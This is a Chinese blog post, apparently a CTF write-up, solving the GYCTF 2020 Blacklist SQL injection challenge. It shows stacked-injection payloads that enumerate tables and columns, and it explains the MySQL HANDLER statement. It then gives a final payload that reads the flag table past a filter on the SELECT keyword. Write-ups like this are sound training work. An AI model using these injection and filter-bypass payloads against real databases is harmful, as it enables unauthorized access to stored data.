Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

    • Pikachu靶场
    • SUCTF 2019 CheckIn
    • GXYCTF 2019 BabySQli
    • GYCTF 2020 Blacklist
      • 题目分析
      • 思路整理
      • Handler语法
        • 背景
        • 语法
      • Payload
    • RoarCTF 2019 Easy Java
    • CISCN 2019 初赛 Love
    • 0CTF 2016 piapiapia
  • PWN

  • 笔记
  • Web
Zephyr
2022-07-16
目录

GYCTF 2020 Blacklist

# GYCTF 2020 Blacklist

# 题目分析

首先看一下题目,很普通的一个查询页面:

GYCTF_2020_Blacklist1

输入2a后返回以下页面,测试后是单引号字符型注入

GYCTF_2020_Blacklist2

常规猜字段,字段数为2

GYCTF_2020_Blacklist3

尝试联合注入1' union select 1,2#,提示被过滤了

GYCTF_2020_Blacklist4

后续尝试报错注入,但过滤了很多东西,没试出结果,不过测试出了show可用,并且堆叠注入也可用

GYCTF_2020_Blacklist5

查表1';show tables;

GYCTF_2020_Blacklist6

查FlagHere表中的列1';show columns from FlagHere;

GYCTF_2020_Blacklist7

# 思路整理

  • select关键字被过滤了无法使用
  • flag所在的表名、列名已知
  • 需要用其他函数或办法代替select查询出数据

# Handler语法

# 背景

  • handler语句,一行一行的浏览一个表中的数据
  • handler语句并不具备select语句的所有功能。
  • mysql专用的语句,并没有包含到SQL标准中。
  • handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

# 语法

HANDLER table_name OPEN //打开一张表,无返回结果,实际上这里声明了一个名为table_nam的句柄
1
HANDLER table_name READ FIRST //获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果
1
HANDLER table_name CLOSE //关闭打开的句柄
1
HANDLER table_name READ index_name = value //通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览
1

# Payload

回到本题,所以构造Payload如下:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1

即可获得flag

GYCTF_2020_Blacklist8

#buuctf#web#SQLInject
上次更新: 2022/09/25, 13:38:30
GXYCTF 2019 BabySQli
RoarCTF 2019 Easy Java

← GXYCTF 2019 BabySQli RoarCTF 2019 Easy Java→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×